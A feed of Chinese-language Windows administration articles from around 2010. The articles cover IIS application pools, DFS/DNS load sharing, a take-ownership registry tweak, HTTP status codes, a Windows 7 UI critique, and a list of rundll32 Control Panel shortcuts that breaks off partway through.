<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>当配置为在工作进程隔离模式下执行时，所有的应用程序代码都在隔 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9700.html </link>
<description> </description>
<text>

当配置为在工作进程隔离模式下执行时，所有的应用程序代码都在隔离环境中运行。这种设计消除了一些现有的瓶颈。工作进程隔离模式允许管理员将任何内容（从单个&amp;nbsp;Web&amp;nbsp;应用程序到多个站点）隔离到独立的工作进程中。&amp;nbsp; 　　Windows&amp;nbsp;2003同时支持两种工作模式，默认为ISS&amp;nbsp;6.0工作进程隔离模式。工作进程隔离模式防止一个应用程序或站点停止了而影响另一个应用程序或站点，大大增强了IIS的可靠性。那么如何设置两种工作模式呢？&amp;nbsp; 　　启动IIS管理器，右击网站，选择&amp;ldquo;属性&amp;rdquo;，打开属性对话框。在IIS&amp;nbsp;6.0工作进程隔离模式下，所有的应用程序代码都在隔离环境中运行，它们是如何进行隔离的呢？Windows&amp;nbsp;2003新增了应用程序池，工作进程隔离模式允许客户创建多个应用程序池，每个应用程序池都可以有不同的配置。因为这些应用程序池直接从内核（而非WWW服务）接收它们的请求，所以性能和可靠性得到了增强。要隔离运行在同一台计算机上但属于不同网站的Web应用程序，需要为每个网站创建单独的应用程序池。&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;打开IIS属性对话框&amp;nbsp; 　　那么，什么是应用程序池呢？这是微软的一个全新概念：应用程序池是将一个或多个应用程序链接到一个或多个工作进程集合的配置。因为应用程序池中的应用程序与其他应用程序被工作进程边界分隔，所以某个应用程序池中的应用程序不会受到其他应用程序池中应用程序所产生的问题的影响。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>服务器是企业信息网络的核心。随着应用的深入，企业网内的信息流 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9701.html </link>
<description> </description>
<text>副标题#e#
						



&amp;nbsp; 烈火建站学院文档 服务器是企业信息网络的核心。随着应用的深入，企业网内的信息流量快速增长，当用户量及其应用量很大时，在同一时刻企业的主机服务器可能要承受大量用户的来访请求，然而一台主机的处理能力是有限的，倘若访问量的增长超过了主机的处理极限，主机的处理能力就会成为企业网应用的瓶颈，这将制约网络应用的继续发展。
&amp;nbsp; 解决之道
&amp;nbsp; 解决这个问题的传统思路是更换技术更加先进、性能更加强大的主机服务器，然而这将使企业面临资金投入的巨大压力，而且对于一个成长型企业来说，网络应用信息量增长的速度很快，新的主机可能在不远的将来遭遇相同的尴尬处境。
&amp;nbsp; 另一个解决思路就是使用流量分担技术。即在网络内增加多台主机服务器，并让这些服务器保存和处理相同的应用内容。这样的主机服务器并不一定要求是技术最先进、性能最强大的，所以投资可以相对较少，但是由它们组成的服务器群，却能够共同完成网络的服务功能。当用户来访时，这些服务器轮流响应不同用户的请求，通过流量分担技术把大量的用户请求自动地分散到了不同的主机服务器中处理，从而减少了单个主机上的任务量，实现了网络流量在多台主机间的平衡处理。
&amp;nbsp; 流量分担技术实现的方法根据系统的软硬件不同而有所区别，有通用方法也有专用方法，有的网络系统还为此提供了专门的服务。微软新发布的Windows Server 2003就在其网络内提供了许多此类技术，主要是分布式文件系统（DFS）。
&amp;nbsp; DFS 发威
&amp;nbsp; DFS即分布式文件系统，主要用于解决把分散的共享资源集中管理的问题，它其实还有一个重要的功能，就是在域环境中能够利用文件复制服务(FRS)为共享目录产生副本。
&amp;nbsp; DFS的基本概念是DFS根和DFS连接。DFS根指服务器或服务器组，是客户端试图访问文件时首先要前往的地方。这些服务器通常分布在一个域的各个站点中。DFS 连接是指从逻辑目录到可以处理文件请求的服务器（位于企业内的任意位置）上的物理共享文件夹的引用。在Windows Server 2003中，大大增强了DFS的功能。 Windows Server 2003 在可靠性方面，针对DFS 作了重要的功能提升：一个服务器可以主持多个DFS 根。在Windows 2000中，不可能在一个服务器上有多个DFS根。因此，需要有大量运行Windows 2000 的服务器来主持多个DFS根。在Windows Server 2003 中，取消了这一限制。此外，Windows 2000 群集的独立DFS 服务器只能主持一个DFS根，而Windows Server 2003允许主持多个DFS根。
&amp;nbsp; Windows Server 2003 还改进了在跨越多个站点对复制操作进行设置时的DFS行为。在 Windows 2000中，DFS 会优先考虑与客户端位于同一站点中的目标，如果在该站点中没有连接目标，它会在任何其他站点中为该客户端请求选择任意的连接目标。这种算法不是最有效的。
&amp;nbsp; 例如，如果某企业有分别位于北京、天津和上海的站点，并且其客户端计算机试图访问天津中的连接，则当天津中的所有连接目标都无法访问时，该客户端计算机不会考虑通信成本的高低，而故障转移到北京或上海中的某个目标。与此不同的是，Windows Server 2003会使用主动目录（Active Directory）中的站点开销信息来选择能够满足客户端请求的站点外目标。对于该企业的这种情况，DFS 能够从主动目录了解到从天津到上海的通信费用比从天津到北京的通信费用更昂贵，因此它会根据主动目录中的站点配置相应地将天津的客户端重定向到最近的北京目标。
&amp;nbsp; 利用DFS
&amp;nbsp; 实现流量分担方法的首先要在多台主机服务器内保持相同的内容，即把某主机的特定内容动态地复制到多台主机中。比如在Windows Server 2003 里，我们就可以借助DFS 技术来完成此目的。通过使用DFS 在域环境中能够利用文件复制服务(FRS)为共享目录产生副本这一功能，就能够把指定主机服务器内某一文件夹下的内容自动拷贝到其他一台或多台服务器中，从而就实现了主机间保持相同内容的目的。
&amp;nbsp; 在Windows Server 2003 中使用DFS的第一步是要建立DFS 根目录。
&amp;nbsp; 从Windows Server 2003 的管理工具进入&amp;ldquo;分布式文件系统&amp;rdquo;管理器，在这里新建DFS根目录。建立根目录的时候系统会要求选择根的类型。DFS根的类型有两种：一种是域DFS；另一种是独立DFS，要想实现目录的副本，必须选择域DFS 类型。独立DFS 只是在非域环境内建立的，它不能支持文件复制服务。
&amp;nbsp; 在域环境里建立DFS，需指定域名和保存DFS 根的主机服务器名，其中域可以是本地域也可以信任域。然后如图1 所示要定义根的名称，此名称是用来在域中标识 DFS根的。接着要在主机服务器的NTFS分区内指定一个共享文件夹用来放置DFS 根。第二步是要建立链接。链接是从DFS 根中指向网络内各共享目录的指针。在&amp;ldquo;分布式文件系统&amp;rdquo;管理器里用鼠标右击已经建立的DFS根，选择&amp;ldquo;新建链接&amp;rdquo;。在新建链接的向导里需要指定链接指向的目标位置，如图2，这个位置应该是一个网络中已经存在的共享目录。然后为此链接起一个形象的名称。
&amp;nbsp; 通过以上建立链接的方法可以分别把网络中各个共享目录都组织DFS 中来，这样用户只要访问DFS 根就能够访问到其中的所有共享目录了。
&amp;nbsp; 域DFS的链接建立后，就可以为其创建副本。指定另一台服务器上的一个共享目录作为副本复制的目的地。接下来在复制向导中定义复制的具体对象。一台主机服务器里的共享目录可以被指定复制到其他多台服务器中。
&amp;nbsp; 至此，在多台主机内保持相同内容的工作就完成了。Windows Server 2003的DFS会利用文件复制服务，把某主机服务器的特定内容动态地复制到多台服务器中。通过定义DFS 根的属性，还可以把DFS 发布到活动目录中，当域用户在活动目录里访问此主机服务器的链接内容时，DFS就会自动在多台服务器的副本间分流访问流量。然而这样的应用只解决了企业网内部 Windows用户的访问问题，但是，许多非企业网用户也许根本访问不到域的DFS根，比如广域网用户在访问主机服务器上的Web页内容时就不是直接访问DFS根的，从而也就无法访问其中的链接副本。因此还应该选择一种更通用的方法来实现不同主机服务器间的流量分担。

						#p#副标题#e#




&amp;nbsp; 借力DNS
&amp;nbsp; 对于上述问题，可以通过域名服务（DNS）来解决。根据DNS的工作特点，我们的思路是让DNS将同一个主机名称轮流解析到不同的IP地址，即把信息轮流交换到不同的网络主机内，这些主机就是我们在前面已经利用Windows Sever 2003 的DFS 副本技术准备好了的、保存了相同内容的服务器，从而达到在多台主机间分担网络流量的目的。
&amp;nbsp; 实现这一功能可以借助Windows Server 2003 的 DNS 服务器里提供的循环解析功能来完成。
&amp;nbsp; 首先要在DNS管理器内进行&amp;ldquo;新建主机&amp;rdquo;操作，即指定主机名称与其IP地址的映射对应关系，在此应该将所有在前面介绍的已经保存了副本目录的各台主机都定义到 DNS服务器中。设置时应该注意，要根据主机的网络地址为各台主机指定不同的IP，但同时各主机都要起同一个相同的名称。经过这一步的定义后在DNS服务器里就配置出了多台具有相同名称但不同地址的主机。接下来进入属性设置的高级配置中定义服务器选项。要达到让DNS把信息轮流交换到不同主机的目的，必须在这里选中&amp;ldquo;启用循环&amp;rdquo;选项，这个功能是此技术的关键，它利用DNS将同一个主机名称轮流解析到不同的IP地址上。
&amp;nbsp; 完成这些设置工作后，Windows Server 2003 网络中利用多主机服务器来分担网络流量的任务就可以实现了。当许多用户同时访问网络主机时，DNS服务器会先把第一台主机的IP地址回应给第一个用户，然后把第二台主机的IP地址回应给第二个用户，等等，当用完最后一个IP地址后再动态循环到第一台主机，以次类推。用户在访问时不用知道主机的具体网络地址，只要访问主机的名称即可，所有流量的分配工作由DNS 服务器自动完成，而且DNS 服务器还能够根据子网的划分，优先由子网内的主机来处理来自同一子网的用户访问，这样就实现了网络流量在多台主机服务器间的负载平衡。
&amp;nbsp; 以上介绍的这种分担流量的方法，使用了Windows Server 2003 中的DFS 和DNS两个服务，技术完全由软件实现，实现起来比较简单，而且成本低，不需要配置额外的硬件。虽然功能相对较少，但使用操作系统本身的网络技术，不需要另外的其他负载平衡服务，所以此方法通用性较强，任何提供目录副本技术和支持DNS循环解析功能的主机服务器都能够实现。
&amp;nbsp; 另外，在实际使用时，主机数量要依据网络的流量统计来决定，不切实际地增加主机数量可能会加重文件复制服务和DNS 服务的负担，反而有可能降低系统的总体性能。对于系统要求高，功能复杂的环境，应该根据需求来选择能够满足应用的方案。总之，最终目的是减轻单个主机服务器的负载压力，但不能牺牲网络其他方面的性能，所以要对网络进行统筹规划，如正确划分子网以及确定子网内的主机数量等等。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>win2008用注册表实现右键取得管理员权限 烈火建站网技术文档 请 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9702.html </link>
<description> </description>
<text>

&amp;nbsp; 烈火建站学院技术文档 请复制以下代码保存为任意名称.reg，双击导入注册表即可！


    
        
            以下为引用的内容：
            Windows Registry Editor Version 5.00
            [HKEY_CLASSES_ROOT\*\shell\runas]@=&amp;quot;管理员取得所有权&amp;quot;
            [HKEY_CLASSES_ROOT\*\shell\runas\Command]@=&amp;quot;cmd.exe /c takeown /f \&amp;quot;%1\&amp;quot; &amp;amp;&amp;amp; icacls \&amp;quot;%1\&amp;quot; /grant administrators:F&amp;quot;
            [HKEY_CLASSES_ROOT\exefile\shell\runas]
            [HKEY_CLASSES_ROOT\exefile\shell\runas\command]@=&amp;quot;\&amp;quot;%1\&amp;quot; %*&amp;quot;&amp;quot;IsolatedCommand&amp;quot;=&amp;quot;\&amp;quot;%1\&amp;quot; %*&amp;quot;
            [HKEY_CLASSES_ROOT\Directory\shell\runas]@=&amp;quot;管理员取得所有权&amp;quot;
            [HKEY_CLASSES_ROOT\Directory\shell\runas\Command]@=&amp;quot;cmd.exe /c takeown /f \&amp;quot;%1\&amp;quot; /r /d y &amp;amp;&amp;amp; icacls \&amp;quot;%1\&amp;quot; /grant administrators:F /t&amp;quot;
            
        
    

 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>烈火建站网文档 当浏览器向web服务器请求服务的时候可能会产生错 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9703.html </link>
<description> </description>
<text>

烈火建站学院文档 当浏览器向web服务器请求服务的时候可能会产生错误，下面是所有这些错误所返回的HTTP状态消息列表
1xx: 信息

    
        
            消息:
            描述:
        
        
            100 Continue
            Only a part of the request has been received by the server, but as long as it has not been rejected, the client should continue with the request服务器只接受到部分请求，但并没有拒绝，客户应该继续请求
        
        
            101 Switching Protocols
            The server switches protocol服务器交换机议定书 
        
    

2xx: 成功

    
        
            消息:
            描述:
        
        
            200 OK
            The request is OK请求成功
        
        
            201 Created
            The request is complete, and a new resource is created 请求完成，新资源被建立 
        
        
            202 Accepted
            The request is accepted for processing, but the processing is not complete进程接受请求，但整个进程尚未完毕 
        
        
            203 Non-authoritative Information
            &amp;nbsp;
        
        
            204 No Content
            &amp;nbsp; 
        
        
            205 Reset Content
            &amp;nbsp; 
        
        
            206 Partial Content
            &amp;nbsp; 
        
    

3xx: 重定向

    
        
            消息:
            描述:
        
        
            300 Multiple Choices
            A link list. The user can select a link and go to that location. Maximum five addresses 连接列表。用户可以通过选择一个连接到达指定的连接位置。最大允许输入5个地址。 
        
        
            301 Moved Permanently
            The requested page has moved to a new url 请求页切换到一个新的URL地址 
        
        
            302 Found
            The requested page has moved temporarily to a new url 请求页临时切换到一个新的URL地址 
        
        
            303 See Other
            The requested page can be found under a different url 请求页可以在另一个URL地址中找到 
        
        
            304 Not Modified
            &amp;nbsp; 
        
        
            305 Use Proxy
            &amp;nbsp; 
        
        
            306 Unused
            This code was used in a previous version. It is no longer used, but the code is reserved该代码仅在先前版本中支持。当前版本已不再支持该代码，但是代码部分仍将保留 
        
        
            307 Temporary Redirect
            The requested page has moved temporarily to a new url请求页临时切换到一个新的URL地址 
        
    

4xx: 客户端错误

    
        
            消息:
            描述:
        
        
            400&amp;nbsp;Bad Request
            The server did not understand the request服务器不能读懂请求
        
        
            401 Unauthorized
            The requested page needs a username and a password请求页面需要输入用户名和密码 
        
        
            402 Payment Required
            You can not use this code yet不允许在使用这段代码 
        
        
            403 Forbidden
            Access is forbidden to the requested page禁止访问请求页面 
        
        
            404 Not Found
            The server can not find the requested page服务器不能找到请求页面 
        
        
            405 Method Not Allowed
            The method specified in the request is not allowed不允许该请求 
        
        
            406 Not Acceptable
            The server can only generate a response that is not accepted by the client客户端不能接受来自于服务器的回应 
        
        
            407 Proxy Authentication Required
            You must authenticate with a proxy server before this request can be served不许在该请求被处理之前确定是否使用了代理服务器 
        
        
            408 Request Timeout
            The request took longer than the server was prepared to wait请求超时 
        
        
            409 Conflict
            The request could not be completed because of a conflict请求发生冲突 
        
        
            410 Gone
            The requested page is no longer available 请求页已失效 
        
        
            411 Length Required
            The &amp;quot;Content-Length&amp;quot; is not defined. The server will not accept the request without it 用于&amp;quot;Content-Length&amp;quot;未定义导致服务器不能接受该请求 
        
        
            412 Precondition Failed
            The precondition given in the request evaluated to false by the server请求中的预处理过程失败 
        
        
            413 Request Entity Too Large
            The server will not accept the request, because the request entity is too large由于请求实体过大导致服务器不接受该请求 
        
        
            414 Request-url Too Long
            The server will not accept the request, because the url is too long. Occurs when you convert a &amp;quot;post&amp;quot; request to a &amp;quot;get&amp;quot; request with a long query information 服务器不接受该请求，因为URL过长。当你通过一条较长的查询信息将&amp;ldquo;post&amp;rdquo;请求转换为&amp;ldquo;get&amp;rdquo;请求时，将会发生该错误 
        
        
            415 Unsupported Media Type
            The server will not accept the request, because the media type is not supported 服务器不接受该请求，主要是因为使用的媒体类型不支持 
        
        
            416&amp;nbsp;
            &amp;nbsp; 
        
        
            417 Expectation Failed
            &amp;nbsp; 
        
    

5xx: 服务器端错误

    
        
            消息:
            描述:
        
        
            500&amp;nbsp;Internal Server Error
            The request was not completed. The server met an unexpected condition请求未能完成。服务器遭遇意外情况
        
        
            501 Not Implemented
            The request was not completed. The server did not support the functionality required请求未能完成。服务器不支持该指定的功能 
        
        
            502 Bad Gateway
            The request was not completed. The server received an invalid response from the upstream server请求未能完成。服务器从上游服务器中提取了无效回应 
        
        
            503 Service Unavailable
            The request was not completed. The server is temporarily overloading or down请求未能完成。服务器承载量超负荷 
        
        
            504 Gateway Timeout
            The gateway has timed out网关超时 
        
        
            505 HTTP Version Not Supported
            The server does not support the &amp;quot;http protocol&amp;quot; version服务器不支持该&amp;ldquo;http protocal[http协议]&amp;rdquo;版本 
        
    
 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>　　最近有关Windows 7的消息大都是大肆赞扬，不可否认，从目前 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9704.html </link>
<description> </description>
<text>副标题#e#
						



　　最近有关Windows 7的消息大都是大肆赞扬，不可否认，从目前的测试来看，Windows 7很令人期待。不过是否就是完美的呢？下面就来泼泼冷水。
　　简洁VS易用
　　从标题看起来我好像是在这卖弄学问，因为简洁和易用似乎本来就是同一个概念，但事实上不是。试想一下，IPhone称得上简洁吧，整个界面上就几个按钮，但它并不好用，尤其在你希望能够在IPhone使用其他手机上的细节功能时。举个简洁的例子，当你在用Iphone浏览邮件时，Safari会自动弹出并打开该网页。但当你看完想要返回时，啥？没有后退按钮。。。。
　　现在大家应该明白了，设计简洁的东西并一定易用。
　　Windows 7: 简洁但并不易用
　　现在，看看Windows 7怎么样？我们都知道，微软不可能从头开始打造一个全新的Windows 7。但微软正试图用Windows 7的新UI将之前年代久远的复杂UI替代掉。微软隐藏掉了Windows 7中的一系列功能以使得其看起来更简洁。甚至于连Windows Mail，Windows Calendar等微软最值得保留的组件都被精简掉了。Windows 7的幕后工作人员只有一个目标：让Windows 7变得更简洁、更易用。
　　而结果看起来好像也是那么回事，Windows 7正变得更简洁明了。这时，有人要说隐藏一些组件就能让操作系统变得简洁。看起来似乎也是那么回事，但我仍然不敢确定这样做是否能让系统变得易用。但也许将来的Windows系统能够在此基础上实现更崇高的目标：简洁并且易用。现在我们来看看Windows 7的UI在简洁性上所作的努力。
　　任务栏
　　Windows 7的任务栏是Vista的改进版本，而这种任务栏的起源还要追溯到Windows 95时代。当时，微软正在尽力解决用户经常找不到已打开窗口的问题。而任务栏的出现正是用来帮助用户存放已打开窗口快捷方式的。
　　在Windows 7中，任务栏经过改进看起来更简洁，快速启动栏不见了，同时用户而可以任意混合应用程序，文档，文件夹的任务栏按钮和快捷方式。但随之而来的问题也很显著。在这样的任务栏上，所有的任务栏窗口按钮和快捷方式都被混合起来了，导致用户无法分清哪些是程序的快捷方式，哪些是正在运行的任务栏按钮。比如图中的IE图标，你可能以为这是IE的快捷方式，而其实，这很有可能是个已经打开的网页，甚至是好几个网页。这样的任务栏看起来简洁么？简洁！易用么？答案显然是否定的。
任务栏
　　更糟糕的是，Windows 7中的另一个实用功能-Jump List，似乎也无法兼顾简洁性与易用性。微软称这项特性可以使得用户轻松在多任务中任意切换并帮助用户以最快速度找到要找的东西。如下图：当鼠标移过某个程序时，Jump List清楚地显示在右方。
开始菜单
　　但是在任务栏中，Jump List就无法像这样显示了。不过幸好，我们可以手动在任务栏添加Jump List。　　*右键程序的任务栏窗口或快捷方式　　*点击，按住不放，轻轻一拉，JumpList就出现了。其实这主要是为触摸屏用户设计的。


						#p#副标题#e#



JumpList
　　下面看看Windows 7中的一些程序都自带有哪些JumpList:
　　Internet Explorer 7 (正在运行时): 历史 , IE (用于打开新窗口), 从任务栏移除, 关闭窗口
　　Mozilla Firefox (正在运行时): Mozilla Firefox (用于打开新窗口), 从任务栏移除, 关闭窗口
　　Windows 资源管理器 (正在运行并打开2个窗口时): 最近打开的窗口, Windows 资源管理器 (用于打开新窗口), 从任务栏移除, 关闭所有窗口
　　Zune (正在运行时): Zune (用于打开新窗口), 从任务栏移除, 关闭窗口
　　Windows Media Player (未打开): 随机播放所有音乐, Windows Media Player&amp;nbsp; (用于打开新窗口), 从任务栏移除, 关闭窗口
　　Microsoft Word （正在运行): 最近打开的文档 , Microsoft Office Word 2007 (用于打开新窗口), 从任务栏移除, 关闭窗口
　　Windows Picture Viewer (Windows 7组件, 正在运行时): 关闭窗口
　　Adobe Reader (正在运行时): 最近打开的文档, Adobe Reader (用于打开新窗口), 从任务栏移除, 关闭窗口
　　因此，　　*即使是Windows 7内置的程序，也没有拥有完整的Jump List　　*由于第三方程序可以修改其Jump List，这样每个程序的Jump List都会不同，这将使得用户很难区分。
　　我不得不说，Jump List功能既不简洁也不实用。
　　但问题比我们想象的还要严重，我们都知道，在Vista中，如果我们已经打开了一个Word,想要再新建一个Word文档的话，只需双击桌面或快速启动栏中的Word快捷方式即可。那么，在Windows 7中也该一样吧？
　　错！在 Windows 7中，如果你将程序附到任务栏上，将会发生2件事：
　　*如果某程序已经打开，你无法通过双击任务栏快捷方式在新窗口中打开该程序　　*一旦将程序附到任务栏，该程序就会从开始菜单的&amp;ldquo;最近打开的程序&amp;rdquo;列表中消失
　　托盘通知区域
　　托盘通知区域一直为Windows用户所诟病，这些年来微软也一直在尝试解决这个问题，从隐藏不活动的图标到Vista中让用户选择。但在Windows 7中，微软又重新采用了之前的隐藏策略。因此，在Windows 7中，所有系统图标在默认状态下都是隐藏的，用户必须手动开启，图标才会显示出来。
　　很细心，是么？但我要说的是这样一来，通知区域看起来简洁多了，但是却牺牲了用户的易用性。在Vista中，至少我们知道这些程序在运行，我们也可以通过Windows Defender中的系统资源管理器或者Windows Live Onecare来关闭这些程序，不管怎么样，总会有办法。但在Windows 7中，默认状态下没有任何图标显示，我们根本不知道这些程序到底在不在运行。而更搞笑的是，在Windows 7中，微软移除了Windows Defender中的系统资源管理器，这样一来，想取消这些程序的开机启动运行都不是那么容易了。
　　库
　　我一直以为虚拟文件夹是个好的设想，但直到如今我用上Windows 7中的虚拟文件夹我在意识到普通用户在使用这项功能时又要头疼了。这想法显然是好的，对于软件工程师而言，这将使得建立数据库等工作变得简单，但对于普通用户而言，要理解如此抽象的概念显然不是那么容易的。
　　这些虚拟文件夹在Windows 7中成为&amp;ldquo;库&amp;rdquo;，这将是&amp;ldquo;简洁VS易用'讨论中的重头戏。这些库将会形成一个系统，而用户几乎无法从其他地方了解到这个系统的任何信息。很简洁，是吧。但这个系统本身确实非常复杂的因为太过于抽象了。同时，用户还需要准备适合该系统的备份工具，不然，一个不小心，某些重要文件就这么丢了。
#p#副标题#e#




　　你了解了么？
　　想要继续的话，我还能指出更多，但我相信大家也都了解到我的意思了。为了让Windows 7的UI达到Mac的样式，微软牺牲了太多了。
　　而事实上，我本人也是WIndows 7的一个大fans，微软在Windows 7中作出的绝大多数改进，都是很令我欣慰的。我只是想，有些功能在发布之前，他们应该三思而后行，至少也应该扩大测试范围，倾听更多用户的声音。
　　作者：Vista之家　　出处: www.vista123.com </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O415920004P-13525_lit.jpg </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>RunDll者，顾名思义，执行Dll也，它的功能就是以命令列的方式呼 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9705.html </link>
<description> </description>
<text>

　　烈火建站学院文档 RunDll者，顾名思义，执行Dll也，它的功能就是以命令列的方式呼叫Windows的动态链结库，Rundll32.exe与Rundll.exe的区别就在於前者是呼叫32位的链结库，而後者是运用於16位的链结库，它们的命令格式是：&amp;nbsp; 


    
        
            以下为引用的内容：RUNDLL.EXE&amp;nbsp;,,&amp;nbsp; 
        
    


　　这里要注意三点：1.Dll档案名中不能含有空格，比如该档案位於c:\Program&amp;nbsp;Files\目录，你要把这个路径改成c:\Progra～1\；2.Dll档案名与Dll入口点间的逗号不能少，否则程式将出错并且不会给出任何资讯！3.这是最重要的一点：Rundll不能用来呼叫含返回值参数的Dll。

    
        
            以下为引用的内容：　　命令列: rundll32.exe shell32.dll,Control_RunDLL&amp;nbsp;&amp;nbsp;　　功能: 显示控制面板&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－辅助选项－键盘&amp;rdquo;选项视窗&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－辅助选项－声音&amp;rdquo;选项视窗&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－辅助选项－显示&amp;rdquo;选项视窗&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－辅助选项－滑鼠&amp;rdquo;选项视窗&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－辅助选项－传统&amp;rdquo;选项视窗 &amp;nbsp;　　命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1&amp;nbsp;&amp;nbsp;　　功能: 执行&amp;ldquo;控制面板－添加新硬体&amp;rdquo;向导。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter&amp;nbsp;&amp;nbsp;　　功能: 执行&amp;ldquo;控制面板－添加新印表机&amp;rdquo;向导。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1&amp;nbsp;&amp;nbsp;　　功能: 显示 &amp;ldquo;控制面板－添加/删除程式－安装/卸载&amp;rdquo; 面板。 &amp;nbsp;　　命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2&amp;nbsp;&amp;nbsp;　　功能: 显示 &amp;ldquo;控制面板－添加/删除程式－安装Windows&amp;rdquo; 面板。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3&amp;nbsp;&amp;nbsp;　　功能: 显示 &amp;ldquo;控制面板－添加/删除程式－启动盘&amp;rdquo; 面板。&amp;nbsp; 　　命令列: rundll32.exe syncui.dll,Briefcase_Create&amp;nbsp;&amp;nbsp;　　功能: 在桌面上建立一个新的&amp;ldquo;我的公文包&amp;rdquo;。 &amp;nbsp;　&amp;nbsp; 命令列: rundll32.exe diskcopy.dll,DiskCopyRunDll&amp;nbsp;&amp;nbsp;　　功能: 显示复制软碟视窗&amp;nbsp; 　　命令列: rundll32.exe apwiz.cpl,NewLinkHere ％1&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;建立快捷方式&amp;rdquo;的对话框，所建立的快捷方式的位置由％1参数决定。 &amp;nbsp;　　命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;日期与时间&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;时区&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe rnaui.dll,RnaDial [某个拨号连接的名称]&amp;nbsp;&amp;nbsp;　　功能: 显示某个拨号连接的拨号视窗。如果已经拨号连接，则显示目前的连接状态的视窗。&amp;nbsp; 　　命令列: rundll32.exe rnaui.dll,RnaWizard&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;新建拨号连接&amp;rdquo;向导的视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;显示属性－背景&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;显示属性－萤屏保护&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;显示属性－外观&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3&amp;nbsp;&amp;nbsp;　　功能: 显示显示&amp;ldquo;显示属性－属性&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL FontsFolder&amp;nbsp;&amp;nbsp;　　功能: 显示Windows的&amp;ldquo;字体&amp;rdquo;档案夹。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3&amp;nbsp;&amp;nbsp;　　功能: 同样是显示Windows的&amp;ldquo;字体&amp;rdquo;档案夹。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,SHFormatDrive&amp;nbsp;&amp;nbsp;　　功能: 显示格式化软碟对话框。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－游戏控制器－一般&amp;rdquo;选项视窗。 &amp;nbsp;　　命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,1&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－游戏控制器－进阶&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe mshtml.dll,PrintHTML (HTML文档)&amp;nbsp;&amp;nbsp;　　功能: 列印HTML文档。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL mlcfg32.cpl&amp;nbsp;&amp;nbsp;　　功能: 显示Microsoft Exchange一般选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @0&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－滑鼠&amp;rdquo; 选项 。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1&amp;nbsp;&amp;nbsp;　　功能: 显示 